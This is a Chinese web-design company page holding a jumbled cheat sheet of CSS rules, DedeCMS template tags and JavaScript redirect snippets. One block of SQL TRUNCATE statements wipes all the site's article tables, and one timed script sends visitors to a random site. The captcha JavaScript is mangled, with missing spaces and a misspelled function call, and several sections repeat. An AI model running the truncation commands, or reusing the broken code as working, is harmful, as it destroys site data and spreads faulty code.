欢迎光临郑州锐途信息技术有限公司！

服务项目
 
联系在线客服

关注微信享红包

服务项目

锐途网：改版专用样式素材

撰稿人： 锐途网  更新时间：   共有【】人浏览

苹果提交按钮清楚默认样式：-webkit-appearance: none;


边款代码：border: #e9e9e9 1px solid;


overflow:hidden   特殊属性样式文件，居中，清除浮动，对齐

min-height:50px 最小高度50px
max-height:50px 最大高度50px

width: 100%;  宽度

text-indent: 2em; 段落前面空两个字

font-family: "黑体";  字体代码

border-bottom: 1px solid #ddd;  线条样式

上下左右边距代码：padding: 2px .04rem 10px;

<style type="text/css">
       input{outline:none;}
</style>如何去掉点击输入框蓝色线框
1  margin-top:距上
 
2   margin-left:距左
 
3   margin-right:距右/右移动代码样式left: 4rem;
 
4   margin-bottom:距下
 
5   以上都是外边距

line-height: 42px;  行距，上下距离
 
5   margin:auto;居中
 
6   padding-top/left/right/bottom ；都是内边距
 
7   因为{dede:field  name='arcurl'/} 这个获取当前页面路径的标签只能在内容页使用，栏目页没有效果的。
 
8      写织梦模板的时候经常用到获取当前栏目名称和路径， 用于当前页面导航，所以总结了一些标签写法

     border-width: 1.3px;  虚线样式

背景图上下左右移动样式代码style="
    background: url(images/new.png) no-repeat 100% 4px;
"
图片居中代码开始<p style="white-space: normal; text-align:center;"><img class="lazy" src="/templets/default/images/33.jpg"  ></p>图片居中代码结束


栏目标题加标签代码
 style="
    background: url(/images/{dede:field.lanmubiaoqian /}.png) no-repeat 100% 4px;
"

 
标签如下：
当前：
 
{dede:type}
<a href=" [field:typelink  /] "> [field:typename/] </a>
{/dede:type}



文字列表调用不包含出现过的标签内容
两者的区别在于：
flag=‘c’ 表示所有包含 ‘c’（推荐）属性的文章
noflag=‘c’表示的则是不包含 ‘c'属性的文章



 


 list-style: none;；链接字体前面有黑点去除样式标签，<li>标签去除黑点样式

字体居中：text-align: center;
边框代码：border: 2px solid #ddd;

字体加粗样式：font-weight: 600;


-webkit-border-radius: 18px; border-radius: 18px; 图片去角样式代码，圆弧四角样式代码

列表页缩略图浮层样式：<span>[field:title/]</span> 样式：width: 340px; height: 240px; position: absolute; display: block; top: 0; left: 0; background: url(../images/an-di.png); line-height: 240px; text-align: center; color: white; font-size: 16px;（结束）



文字居中/字体居中：<center>[field:title/]</center>
宽度代码：width: 280px;
高度代码：height: 26px;

边框代码：下边框border-bottom：1px solid  #D3D3D3;
左边框border-left:1px solid  #D3D3D3;
右边框border-right:1px solid  #D3D3D3;
上边框border-top:1px solid  #D3D3D3;
 

整个模块居上代码：margin-top: 10px;

文章内容超出屏宽度样式，英文不换行怎么解决word-wrap:break-word; word-break:break-all; 

同时调用一张图片时背景图片局右：background-position: -118px top;

背景图片居上代码：    padding-top: 14px;

文字/字体/颜色代码：color: #666;

字体大小代码：font-size: 16px;  font-size: 0.15rem;

指定区域右移代码/文字右移/图片右移动：style="padding-left:50px"

指定区域内外边距样式padding: 0 28px;(paddding的意思就是一个东西距离边框的内边距)

自针对字体上下距离样式，移动字体样式：line-height:20px;

margin（指的是外边距样式代码）margin-left: 20px;左外边距样式代码、margin-right: 20px;右外边距样式代码（可以加-号是代表反方向）


a {
    color: #666;
    text-decoration: none;
}去掉A属性字体下面的横线的样式/a属性的样式

城市定位代码，城市更具IP定位代码
<script type="text/javascript" src="http://int.dpool.sina.com.cn/iplookup/iplookup.php?format=js"></script> 接口地址
 
 
<script>document.write( ' '+remote_ip_info.country );</script>国
<script>document.write( ' '+remote_ip_info.province );</script>省
<script>document.write( ' '+remote_ip_info.city );</script>市
 
<script>document.write( ' '+remote_ip_info.district );</script>区（用处不大）感觉没效果（城市定位代码，城市更具IP定位代码）



width: 100% !important;   网页样式强制默认样式宽度，可以去掉CSS中的样式宽度



织梦数据清零，数据还原
TRUNCATE dede_arctiny;
TRUNCATE dede_archives;
TRUNCATE dede_arccache;
TRUNCATE dede_addonarticle;
TRUNCATE dede_addonimages;
TRUNCATE dede_addoninfos;
TRUNCATE dede_addonshop;
TRUNCATE dede_addonsoft;
TRUNCATE dede_addonspec;
 
 
 
文章内容页文章手机端的上下翻页标签： 上翻：{dede:prenext get='prewap'/}
           下翻： {dede:prenext get='nextwap'/}


Delete FROM dede_sysconfig where varname="cfg_qq"   快捷删除新变量，新变量删除
 
 
 
织梦如何实现二级栏目导航的仿制
 
{dede:channelartlist row='2' typeid='1,2' }
<h3><a href='{dede:field name='typeurl'/}'>{dede:field name='typename'/}</a></h3>
<ul>
{dede:channel type='son' noself='yes' }
<li><a href='[field:typelink/]'>[field:typename/]</a></li>
{/dede:channel}
</ul>
{/dede:channelartlist}
 
—————————————————————————————————
 
 
网站背景CSS代码
background: url(../images/zixun_bg.jpg) no-repeat #5b9036;
 
—————————————————————————————————
 
浮在图片上的文字链接代码
<div class="w980"> <div id="word" style="position: absolute; right: 1550px; top: 30px"><img src="/templets/default/images/logo.jpg" alt=""></div> 
—————————————————————————————————
 
手机端仿制栏目链接，列表页文章链接，文章链接，调用标签
手机栏目页调用标签：/m/list.php?tid=[field:id/]
手机文章页链接调用标签：/m/view.php?aid=[field:id/]
—————————————————————————————————
K无效链接/空链接 href=“#"与href="javascript:void(0)”    &nbsp;  空格
 
  重要的，兼容,可以有效去掉正文图片的图片宽高度;去掉如
【    width: 895px;   height: 537px;】
 
width: 100% !important;
 
height: auto !important;
 
—————————————————————————————————
文字居中
<center><h1 style="这个是文字大小font-size: 23px;*/;">麒麟阁风水设计（北京）</h1></center></div>
—————————————————————————————————
 
当前文章页调用当前栏目导航案例：
{dede:channel    field='ID'     row='10'               }
<li><a href="[field:typelink/]">[field:typename/]</a></li>
{/dede:channel}
—————————————————————————————————
 
 
  网站背景CSS代码
 
background: url(../images/zixun_bg.jpg) no-repeat #5b9036;
 
—————————————————————————————————
 
 
 
 
栏目名字调用，栏目链接调用
 
{dede:field name='typeurl' function=”GetTypeName(@me)”/} 指的是当前栏目的URL地址，
 
{dede:field name='typename' function=”GetTypeName(@me)”/}指的是当前栏目的名称
 
 
—————————————————————————————————
 
 
 
文章发布管理功能字段添加
 
<field:chengji itemname="成绩" autofield="1" notsend="0" type="text" isnull="true" islist="0" default=""  maxlength="250" page="">
</field:chengji>
<field:xuexiao itemname="就读学校" autofield="1" notsend="0" type="text" isnull="true" islist="0" default=""  maxlength="250" page="">
</field:xuexiao>
<field:luqu itemname="录取学校" autofield="1" notsend="0" type="text" isnull="true" islist="0" default=""  maxlength="250" page="">
</field:luqu>
<field:zhuanye itemname="录取专业" autofield="1" notsend="0" type="text" isnull="true" islist="0" default=""  maxlength="250" page="">
</field:zhuanye>
<field:body itemname="文章内容" autofield="0" notsend="0" type="htmltext" isnull="true" islist="1" default=""  maxlength="" page="split">
</field:body>
 
—————————————————————————————————
 
都是调用栏目名称, 但用到的地方不一样
 
{dede:field name='typename'/}  是单独用的, 不跟其他标签嵌套
[field:typename/] 这种带方括号的是必须要嵌套在其他标签里面用的 
比如:
<li>
{dede:type typeid='26'}
   <a href="[field:typelink/]" target="_blank">[field:typename/]</a>
{/dede:type}
</li>
比如:
 
栏目链接：{dede:type typeid='26'}[field:typelink/]{/dede:type}
栏目名称：{dede:type typeid='26'}[field:typename/]{/dede:type}

https://jingyan.baidu.com/article/59703552e7fce48fc1074045.html  织梦栏目高亮教程
—————————————————————————————————
 
字段调用标签两种
 
{dede:field name='字段名'/}
{dede:field.solpjh/}
—————————————————————————————————
 
列表页的作者和来源调用标签应该是：[field:writer/]和[field:source/] 
 
—————————————————————————————————
 
三级栏目仿制案例
 
{dede:type typeid='19'}
<a href="[field:typelink/]">[field:typename/]</a>{/dede:type}
<div class="mainlist">
<dl>
<dd>
{dede:type typeid='28'}
<a href="[field:typelink/]">[field:typename/]</a>{/dede:type}
 
<div class="cong">{dede:channel type='son' noself='yes'   row='4'  typeid ='28'}
<a href="[field:typelink/]"><span>[field:typename/]</span></a>{/dede:channel}
 
</div>
 
 
 
</dd>
—————————————————————————————————
字段在列表模板添加例子，{dede:arclist channelid='您这个自定义模型的id'  typeid='您要调用的栏目id' addfields='apptype'}首先您要先确认您的自定义字段勾选了使字段可以在列表的底层模板中获得。
   {dede:arclist channelid='1'   typeid='1'  row='10'     addfields='apptype,jiaqian' titlelen='10'  imgwidth='290'  imgheight='170' }
   <dl align="left">
 
      <dt><a href="[field:apptype/]"><img src="[field:picname/]" class="width100" /></a></dt>
      <dd class="price"><em class="f28">[field:jiaqian/]元&nbsp;&nbsp;0[field:id/]</em></dd>
      <dd class="t f28"><em class=""><font color="#999">[field:title/]</font></em></dd>
    </dl>
{/dede:arclist}
—————————————————————————————————
单页内容的模板调用标签是 {dede:field.content/}
—————————————————————————————————
表单验证码添加
• 1、先进入DedeCMS后台生成自定义表单。
• 2、在自定义表单模板中添加验证码代码，如下：  
<input name="validate" type="text" id="vdcode" style="text-transform:uppercase;" size="8"/><img id="vdimgck" align="absmiddle" onClick="this.src=this.src+'?'" style="cursor: pointer;" alt="看不清？点击更换" src="../include/vdimgck.php"/><a href="javascript:vide(-1);" onClick="changeAuthCode();">看不清？ </a>
   
• 3、在当前页添加JS代码，如下：   
<script type="text/javascript" language="javascript">//验证码 function changeAuthCode(){var num =newDate().getTime();varrand= Math.round(Math.random()*10000);    num = num +rand;    $('#ver_code').css('visibility','visible');if($("#vdimgck")[0]){        $("#vdimgck")[0].src ="../include/vdimgck.php?tag="+ num;}returnfalse;}</script>
   
• 4、修改订单处理页面，打开网站根目录/plus/diy.php文件， 添加验证代码到第61行左右位置。如下：   
if(!empty($dede_fields)){$validate=empty($validate) ? '':strtolower(trim($validate));$svali=strtolower(GetCkVdValue());if(($validate==''||$validate!=$svali)&&preg_match("/6/",$safe_gdopen)){                ResetVdValue();                ShowMsg('验证码不正确!',$dede_add,0,1000);exit;}}
   
—————————————————————————————————
这个只不过是获取当前栏目的名称而已，获取当前位置的是{dede:field name="position"/}
—————————————————————————————————
当前页面内容简介调用[field:description /]
—————————————————————————————————
 
 
当前栏目ID调用方法
{dede:arclist row='10' flag='a'  titlelen="26"}
            <span><a href="[field:arcurl/]" title="[field:fulltitle/]">病因</a></span>
            <br/>
            <a href="[field:arcurl/]" title="[field:fulltitle/]">[field:title/]</a>
        </li>
    {/dede:arclist}
不要 typeid='1' 就是当前的啦。
—————————————————————————————————
 
align="left" 为靠左，居左
 
—————————————————————————————————
CSS:文字颜色代码：    color: #D00000;
 
靠右：float:right   css代码
—————————————————————————————————
CSS:字体大小代码
font-size:12px; 设置对象具体字体大小为12px
font-size:xx-small; 设置文字大小为最小
font-size:small; 设置文字字体大小为小
font-size:x-large;设置对象字体大小为较大
font-size:larger;设置对象字体大小为大
font-size:smaller;相对于父容器中字体尺寸进行相对减小
font-size:50%;相对于父容器中字体尺寸进行相应调整为50%大小
font-size:150%;相对于父容器中字体尺寸进行相应调整为150%大小
—————————————————————————————————
 
CSS基础代码网站地址：http://www.divcss5.com/rumen/r322.shtml
—————————————————————————————————
1. 首页调用频道封面页 栏目内容 方法：
{dede:sql sql='Select content from dede_arctype where id=1'}
 [field:content/]
{/dede:sql}
2. 首页调用频道封面页 栏目描述 方法：
{dede:sql sql='Select content from dede_arctype where id=22'}
　　[field:content function="cn_substr(@me,1136)"/]
{/dede:sql}
 
3.首页调用频道封面页 栏目名称 方法
{dede:sql sql='Select typename from dede_arctype where id=2'}
  [field:typename/]
{/dede:sql}
 
4.首页调用频道封面页 栏目名称 栏目描述 和内容 方法
{dede:sql sql='Select description,typename,content from dede_arctype where id=2'}
   [field:typename/]
   [field:content/]
   [field:description/]
{/dede:sql}
—————————————————————————————————
    
100   重要的，兼容,可以有效去掉正文图片的图片宽高度;去掉如【    width: 895px;   height: 537px;】
 
width: 100% !important;
 
height: auto !important;
 
 
—————————————————————————————————
 
 
101   网站背景CSS代码
 
background: url(../images/zixun_bg.jpg) no-repeat #5b9036;
 
 
 
—————————————————————————————————
 
 
102栏目名字调用，栏目链接调用
 
{dede:field name='typeurl' function=”GetTypeName(@me)”/} 指的是当前栏目的URL地址，
 
{dede:field name='typename' function=”GetTypeName(@me)”/}指的是当前栏目的名称
 
 
—————————————————————————————————
 
 
 
103文章发布管理功能字段添加
 
<field:chengji itemname="成绩" autofield="1" notsend="0" type="text" isnull="true" islist="0" default=""  maxlength="250" page="">
</field:chengji>
<field:xuexiao itemname="就读学校" autofield="1" notsend="0" type="text" isnull="true" islist="0" default=""  maxlength="250" page="">
</field:xuexiao>
<field:luqu itemname="录取学校" autofield="1" notsend="0" type="text" isnull="true" islist="0" default=""  maxlength="250" page="">
</field:luqu>
<field:zhuanye itemname="录取专业" autofield="1" notsend="0" type="text" isnull="true" islist="0" default=""  maxlength="250" page="">
</field:zhuanye>
<field:body itemname="文章内容" autofield="0" notsend="0" type="htmltext" isnull="true" islist="1" default=""  maxlength="" page="split">
</field:body>
 
 
—————————————————————————————————
 
 
如果要把地图添加到现有的网页中，可以使用iframe标签，如：
<iframe src="map.html" width="600" height="300" frameborder="0" scrolling="no"></iframe>
 
—————————————————————————————————
 
 
 
 
 
 
单页内容的模板调用标签是 {dede:field.content/}
 
—————————————————————————————————
 

target="_top" 表单提交不变白的代码，镶嵌套网页表单不变白代码
 
 
 
9    织梦dedeCMS网站栏目页获取当前栏目的顶级栏目名称的标签教程： 
 
我们在使用做一些网站的时候，时常会碰到需要调用当前栏目的顶级栏目名称的时候，织梦默认{dede:field name='typename' /}  可以获取当前栏目页上一级栏目的名称，而不是当前栏目顶级栏目名称。 
 
 
—————————————————————————————————
 
 
10   dedemcs栏目页调用栏目内容
 
{dede:field.content/}
 
 
11    dedecms循环输出指定栏目下的子栏目内容
 
{dede:channelartlist type='son' typeid='1'}
　　{dede:field.content/}
{/dede:channelartlist}
 
 
—————————————————————————————————
 
 
12   任意页面调用栏目内容
 
{dede:sql sql='Select content from dede_arctype where id=2'}
　　[field:content function="cn_substr(@me,236)"/]
{/dede:sql}
 
 
13   dedecms调用当前栏目
 
{dede:type}
　　<a href="[field:typeurl/]" [field:rel/]>[field:typename/]</a>
{/dede:type}
 
 
 
—————————————————————————————————
 
 
 
14    dedecms调用顶级栏目及其子栏目
 
 
{dede:channelartlist row='2' typeid='1,2' }
 
<h3><a href='{dede:field name='typeurl'/}'>{dede:field name='typename'/}</a></h3>
 
<ul>
 
{dede:channel type='son' noself='yes' }
 
<li><a href='[field:typelink/]'>[field:typename/]</a></li>
 
{/dede:channel}
 
</ul>
 
{/dede:channelartlist}
—————————————————————————————————
简略标题
{dede:field.shorttitle/}
—————————————————————————————————
 
15   dedecms调用顶级栏目
 
{dede:channel type='top' currentstyle="<li class='on'><a href='~typelink~' ~rel~>~typename~</a></li>"}
　　<li><a href='[field:typeurl/]' [field:rel/]>[field:typename/]</a></li>
{/dede:channel}
?
 
dedecms调用同级栏目
 
{dede:channel currentstyle="<li class='on'><a href='~typelink~' ~rel~><span>~typename~</span></a></li>"}
　　<li><a href="[field:typeurl/]" [field:rel/]>[field:typename/]</a></li>
{/dede:channel}
?
 
dedecms调用指定栏目的子栏目
 
{dede:channel type='son' typeid='3'}
    <li><a href="[field:typeurl/]">[field:typename/]</a></li>
{/dede:channel}
—————————————————————————————————
 
 
 
16   {dede:global.cfg_memberurl/} 指的是会员中心 对应/member/目录
 
{dede:global.cfg_cmsurl/} 对应的是网站根目录/
 
{dede:global.cfg_dataurl/} data目录对应  /data/
 
{dede:global.cfg_basehost/} 网站地址 比方：http://www.sina.com
 
{dede:global.cfg_webname/} 网站名称
 
{dede:global.cfg_soft_lang/} 网页编码  GBK2312 或者 UTF-8
 
{dede:global.cfg_description/} 网站描述(摘要)
 
{dede:global.cfg_keywords/} 网站关键词
 
{dede:field.title/} 列表页或者文章页标题
 
{dede:field name=’keywords’/} 列表页或者文章页关键词
 
{dede:field name=’description’ function=’html2text(@me)’/} 列表页或者文章页描述(摘要)
 
{dede:field.seotitle /} 栏目SEO标题
 
{dede:field.content/} 栏目内容
 
{dede:prenext get=’pre’/} 上一篇
 
{dede:prenext get=’next’/} 下一篇
 
{dede:pagebreak/} 文章分页
 
{dede:pagelist listitem=”info,index,end,pre,next,pageno,option” listsize=”5″/} 列表分页
 
{dede:field name=’position’/} 当前位置
 
{dede:global.cfg_templets_skin/} 对应的是/templets/模板目录
 
{dede:global.cfg_templeturl/} 织梦模板目录所在路径  对应 /templets/
 
 
—————————————————————————————————
 
 
 
 
文章简介 :[field:description/]... 列表页文章标签调用
 
 
 
调用指定栏目（单页）内容
 
 {dede:channelartlist type="7"}
 
{dede:field.content/}
 
{/dede:channelartlist}....
 
—————————————————————————————————
 
 
 
dedecms中修改当前位置{dede:field.position}，就是只要 首页>一级栏目>二级栏目 这样，而不需要带链接的。
 
—————————————————————————————————
 
 
 
二级栏目仿制标签
{dede:channelartlist row='2' typeid='1,2' }
<h3><a href='{dede:field name='typeurl'/}'>{dede:field name='typename'/}</a></h3>
<ul>
{dede:channel type='son' noself='yes' }
<li><a href='[field:typelink/]'>[field:typename/]</a></li>
{/dede:channel}
</ul>
{/dede:channelartlist}
 
 
—————————————————————————————————
.
将你要仿站的网站的搜索页网页另存为，关键词搜素仿制，修改一下保存到dedecms模板中search.htm。
.
找到相应的搜索标签进行如下修改。
.
.
2
.
<FORM name="formSearch" action="{dede:global.cfg_cmsurl/}/plus/search.php" method="post"><INPUT name="keyword"(这个也是重点) class="search" id="keyword" onFocus="OnEnter(this)" onBlur="OnExit(this)" type="text" value="搜索产品名称或型号">           <INPUT name="q" title="搜索" class="search_button" type="submit" alt="搜索" value="搜索">         </FORM>
.
.
.
注：关键是修改代码中的黑色字体的部分。这样就能调用模板中的search.html
.
.
3
.
关于搜索页中的头部标签按照default中搜索页的头部进行仿制即可。
.
下面是头部代码：
.
<title>搜索页_{dede:global.cfg_webname/}</title><meta  name="keywords"  content="{dede:field name='keywords'/}"><meta  name="description"  content="{dede:field name='description' function='html2text(@me)'/}">
.
.
—————————————————————————————————
4
.
搜索页的列表标签，时间，分页标签较之前的有所不同：
.
列表标签：
.
{dede:list perpage='20'}{/dede:list}
.
属性：
.
perpage='20'调用的条数
.
.
时间：[field:stime/]
.
分页调用：{dede:pagelist listsize='4'/} 
.
—————————————————————————————————
 
 
图集调用标签
 
{dede:productimagelist}
<li class="gallery-item"><img src="[field:imgsrc/]" alt="[field:text/]"></li>
  {/dede:productimagelist}
 
 
列表翻页居中样式
<style>
                .fenye{ width:1208px; margin:0px auto; height:auto;}
                </style>
                <div class="fenye">
<div class="page"><div class="dede_pages"><ul class=pagelist>{dede:pagelist listitem="info,index,end,pre,next,pageno,option"listsize="2"/}</ul></div></div>
 
列表翻页样式
 
.dede_pages{
}
.dede_pages ul{
float:left;
padding:12px 0px 12px 16px;
}
.dede_pages ul li{
float:left;
font-family:Tahoma;
line-height:17px;
margin-right:6px;
border:1px solid #E9E9E9;
}
.dede_pages ul li a{
float:left;
padding:2px 4px 2px;
color:#555;
display:block;
}
.dede_pages ul li a:hover{
color:#690;
text-decoration:none;
padding:2px 4px 2px;
}
.dede_pages ul li.thisclass,
.dede_pages ul li.thisclass a,.pagebox ul li.thisclass a:hover{
background-color:#F8F8F8;
padding:2px 4px 2px;
font-weight:bold;
}
.dede_pages .pageinfo{
line-height:21px;
padding:12px 10px 12px 16px;
color:#999;
}
.dede_pages .pageinfo strong{
color:#555;
font-weight:normal;
margin:0px 2px;
}
 


dedecms列表调用内容多张图片，不用图片集/图集模板：https://zhidao.baidu.com/question/554071889530068532.html




http://mail.qq.com/cgi-bin/qm_share?t=qm_mailme&email=Zl5XX1JQVFFXJhcXSAUJCw 邮箱链接，邮箱发送代码，邮箱发送链接

http://openmail.qq.com/邮箱链接，邮箱发送代码，邮箱发送链接



列表页图层标志样式代码

<style>
* {margin:0;padding:0}
div {position:relative;width:500px; heigth:500px; background:#ccc;}
img {display:block;}
//第一种
#img2 {position:absolute; top:0px; left:0px;}//绝对定位，脱离文档流，这样就可以让第二张图片覆盖到第一张上了。
//第二种
#img1 {position:absolute; top:0px; left:0px;z-index:1;}
#img2 {position:absolute; top:0px; left:0px;z-index:11;} //第二种方式，是样第二张的层级高出第一张，这样也可以实现题目要求。
</style>
<body>
    <div>
        <img src='1.jpg' id='img1' />
        <img src='2.jpg' id='img2' />
    </div>
</body>

 
 
1  margin-top:距上
 
2   margin-left:距左
 
3   margin-right:距右
 
4   margin-bottom:距下
 
5   以上都是外边距
 
5   margin:auto;居中
 
6   padding-top/left/right/bottom ；都是内边距
 
7   因为{dede:field  name='arcurl'/} 这个获取当前页面路径的标签只能在内容页使用，栏目页没有效果的。
 
8      写织梦模板的时候经常用到获取当前栏目名称和路径， 用于当前页面导航，所以总结了一些标签写法
 
标签如下：
当前：
 
{dede:type}
<a href=" [field:typelink  /] "> [field:typename/] </a>
{/dede:type}
 









1、移动端检测是否是PC端浏览器
[javascript] view plain copy
 
  1. <script data-fixed="true">  
  2.   !function(){  
  3.     if(/iphone|ios|android|ipod/i.test(navigator.userAgent.toLowerCase()) == false){  
  4.       location.href = 'PC地址';  
  5.     }  
  6.   }();  
  7. </script>  
<!--ignore-->



2、PC端检测是否是移动设备


	 



	

		

			[javascript] view plain copy
			

				 

		

	

	
    
		
  1. 
			<script data-fixed="true">  
    2. 
		
  2. 
			  !function(){  
    3. 
		
  3. 
			    function params(u, p){  
    4. 
		
  4. 
			      var m = new RegExp("(?:&|/?)"+p+"=([^&$]+)").exec(u);  
    5. 
		
  5. 
			      return m ? m[1] : '';  
    6. 
		
  6. 
			    }  
    7. 
		
  7. 
			    if(/iphone|ios|android|ipod/i.test(navigator.userAgent.toLowerCase()) == true && params(location.search, "from") != "mobile"){  
    8. 
		
  8. 
			      location.href = '移动端地址';  
    9. 
		
  9. 
			    }  
    10. 
		
  10. 
			  }();  
    11. 
		
  11. 
			</script>  
    12. 
	





地图调用，别人网页调用不出现样式冲突





	<script type="text/javascript" src="wfbase.js" tppabs="http://baidu.acc1.cn/wforder/wfpublic/js/wfbase.js"></script>



	<script type="text/javascript">



	　　var wfheight='847'; //订单高度



	　　var wfsrc='39723ee92b285b36.html'



	　　document.write('<iframe src="'+wfsrc+'" width="100%" height="'+wfheight+'" frameborder="0" scrolling="no"></iframe>');



	</script>

	

	

	表单表格禁止输入代码

	

	

		
			

				
					<div>
			

			

				
					 
				
					<label for="">电话：</label>
			

			

				
					 
				
					<input type="number" value="13658956266" readonly>
			

			

				
					 
				
					</div>
			

		
	













文章行数超出隐藏代码，内容态度隐藏代码





	/*一行表示**/



	     overflow: hidden;



	    white-space: nowrap;



	    text-overflow: ellipsis;



	/***2行表示**/



	    display: -webkit-box;



	    overflow: hidden;



	    text-overflow: ellipsis;



	    word-wrap: break-word;



	    white-space: normal !important;



	    -webkit-line-clamp: 2;



	    -webkit-box-orient: vertical;











悬浮右侧代码



    <div class="footer" style="margin-bottom:32px;">


	 



	    <div id="zxfd">



	 



	<div class="zxfd zxk test2" style="



	    margin: 0px;



	    padding: 0px;



	    text-align: center;



	    width: 30px;



	    height: 100px;



	    background: #F00;



	    font-size: 16px;



	    font-weight: bold;



	    color: #fafafa;



	    border-radius: 5px;



	"> <a href="http://www.ddseakm5.cn/ss/share/qi-tb0848404_2013/towx.png"><span style="



	    color: #ffffff;



	">点击关注</span></a></div>



	    </div>



	 



	 



	</div> 



	 



	 



	<style>



	.zxfd {



	    position: fixed;



	    right: 0px;



	    top: 200px;



	    width: 30px;



	    height: 100px;



	        



	}



	</style> 悬浮右侧代码结束

	

	

	mqqwpa://im/chat?chat_type=wpa&uin=3132583250&version=1&src_type=web&web_src=oicqzone.com 移动端，手机即时聊天工具，更多

	

	

	

	

		
			

				
					<div id="kefu2">
			

			

				
					 
				
					<div class="cs_qcode">
			

			

				
					 
				
					<img alt="" src="picture/1010.png" style="width: 73%; " />
			

			

				
					 
				
					<div style="text-align: center;">
			

			

				
					 
				
					<strong><span style="font-size:18px;">&nbsp;扫描二维码添加好友</span></strong></div>
			

			

				
					 
				
					 
			

			

				
					 
				
					</div>
			

			

				
					 
				
					</div>
			

			

				
					 
				
					<style>
			

			

				
					 
				
					#kefu2{position:fixed; right:0px; bottom:300px; z-index:10008; padding: 10px; background: #fff; font-size: 12px;}
			

			

				
					 
				
					.cs_qcode{padding: 10px 0px 0px 0px;}
			

			

				
					 
				
					.cs_qcode img{max-width: 160px !important;}
			

			

				
					 
				
					</style>
			

		
	





	

	

	

	

	

	

	下面是底部浮窗代码

	

		 

	

		

			<nav>

		

			  <ul class="Transverse">

		

			     <li><a href="#buy" style="

		

			    color: #ffffff;

		

			"><strong>长按添加微信</strong></a></li> 

		

			<li><a href="tel:13611019571" style="

		

			    color: #ffffff;

		

			"><strong>电话咨询</strong></a></li>  

		

			    <li><a href="sms:13611019571" style="

		

			    color: #ffffff;

		

			"><strong>短信留言</strong></a></li>

		

			  </ul>

		

			</nav>

		

			  <style>

		

			@charset "gb2312";

		

			 

		

			* {margin:0;} html,body,#page { height:100%;padding: 0; margin: 0;font-family: 微软雅黑;}

		

			body { margin:0; padding:0;font-family:Helvetica,Arial,san-serif;font-size:16px;}

		

			a,a:visited { text-decoration:none;}ul,ol,li { list-style:none;}

		

			.fl{float:left}.fr{float:right}

		

			.clearfix:after{content:".";display:block;height:0;clear:both;overflow:hidden;visibility: hidden;}

		

			.clearfix {display: inline-block;} .clr{clear:both}.hidden{display:none!important}

		

			/*add set*/

		

			 

		

			nav {margin:0 auto; padding:0; width:100%;position:fixed; left:0; bottom:0;

		

			-webkit-animation:fadeInUpBig 1s 0.2s ease both;-moz-animation:fadeInUpBig 1s 0.2s ease both; }

		

			nav ul {margin:0 auto;padding:0 0;  width:100%; background:#e30; overflow:hidden;}

		

			nav ul li { width:33.3%; float:left; text-align:center;}

		

			nav ul li a { display:block; line-height:45px;width:100%;color:#fff;font-size:0.8em; }

		

			nav ul li a strong { display:block; position: relative;left:0; font-weight:normal;}

		

			 

		

			nav ul.Transverse {position:relative;}

		

			nav ul.Transverse li a {border-right:1px dotted #f66;}

		

			nav ul.Transverse li:last-child a {border-right:0px;}

		

			nav ul.Transverse li a strong{ display:inline; font-weight:normal;font-size:18px;}

		

			nav ul.Transverse li:nth-child(1) a strong{background:url("../images/home.png") left center no-repeat; background-size: 28px 28px;}

		

			nav ul.Transverse li:nth-child(2) a strong{background:url("../images/call.png") left center no-repeat; background-size: 28px 28px;}

		

			nav ul.Transverse li:nth-child(3) a strong{background:url("../images/sms.png") left center no-repeat; background-size: 28px 28px;}

		

			nav ul.Transverse li:nth-child(1) a.home strong{background:url("../images/home.png") left center no-repeat; background-size: 28px 28px;}

		

			nav ul.Transverse li span {color:#333}

		

			 

		

			  </style>

	









图片并排样式//把两张图片并排（行）显示的HTML代码





	<table><tr>



	<td><img src="picture/2.png" border="0"></td>



	<td><img src="picture/3.png" border="0"></td>



	</tr></table>





display:block;  图片无缝对接







MP4播放视频代码

<div style=" width:100%;margin:auto; "> <video width="96%" controls="controls" autoplay style=" margin: 2% 2%; "> <source src="images/1.mp4" type="video/mp4"> <source src="movie.ogg" type="video/ogg"> </video> </div>





地图代码，，地图下载   https://pan.baidu.com/s/1-djGZ8B3DTKJOeh8ve0Hhw





镶嵌订单代码：点击查看：http://haochaye.00q52.cn/#fill-forms





酒单页测试：点击查看



滚动样式网站落地页：点击查看



点击复制代码参考链接：点击查看



右侧隐藏参考：点击查看



右侧隐藏：点击查看



弹窗代码：http://wangz811.sqzapp.com/  



http://feicuiss.sqzpt.com/#_wmtz_   点击返回有弹出的代码    查看代码



弹出代码，底部浮窗代码，比较好看的样式弹窗：http://liuhecai.sqzapp.com/11111111111/



网页随机跳转代码开始

<script language="javascript">

setTimeout(function(){

var arr=["http://www.baidu.com","http://www.sina.com","http://xiaonei.com"];

window.location.href=arr[parseInt(Math.random()*arr.length)];

},5000);

</script>

















自适应适配代码跳转电脑端





	    <script>



	        var oWidth = document.documentElement.clientWidth || document.body.clientWidth;



	 



	        if (oWidth < 1024) {



	 



	        } else {



	            window.location.href = "../index.html";



	        }



	 



	 



	        window.addEventListener("orientationchange", function () {



	            var oWidth = document.documentElement.clientWidth || document.body.clientWidth;



	 



	            if (oWidth < 1024) {



	 



	            } else {



	                window.location.href = "../index.html";



	            }



	        }, false);



	 



	        window.addEventListener("resize", function () {



	            var oWidth = document.documentElement.clientWidth || document.body.clientWidth;



	 



	            if (oWidth < 1024) {



	 



	            } else {



	                window.location.href = "../index.html";



	            }



	        }, false);



	 



	    </script>



自适应适配代码跳转手机端





	       <!--适配-->



	    <script>



	        var oWidth = document.documentElement.clientWidth || document.body.clientWidth;



	        if (oWidth < 1024) {



	            window.location.href = "wap/index.html";



	        } 



	 



	 



	        window.addEventListener("orientationchange", function () {



	            var oWidth = document.documentElement.clientWidth || document.body.clientWidth;



	 



	            if (oWidth < 1024) {



	            window.location.href = "wap/index.html";



	        }



	        }, false);



	 



	        window.addEventListener("resize", function () {



	            var oWidth = document.documentElement.clientWidth || document.body.clientWidth;



	 



	            if (oWidth < 1024) {



	            window.location.href = "wap/index.html";



	        } 



	        }, false);



	 



	    </script>

	

	

	时间日期代码开始

	

	

		<script language="javascript">

	

		var riqi = new Date;

	

		var year = riqi.getFullYear(); // 获取年

	

		var month = riqi.getMonth() + 1; // 获取月

	

		var date = riqi.getDate(); // 获取日

	

		</script>

	

		 

	

		 

	

		<script language="javascript">

	

		 

	

		document.write('<span class="header_date2">'+year+"-"+month+"-</span>");

	

		document.write('<span class="header_date1">'+date+"</span>");

	

		</script>

	

		 

	

		<script language="javascript">

	

		 

	

		document.write('<span class="header_date2">'+year+"-"+month+"-</span>");

	

		document.write('<span class="header_date1">'+date+"</span>");

	

		</script>

	

		 

	

		<script language="javascript">

	

		 

	

		document.write('<span class="header_date2">'+year+"-"+month+"-</span>");

	

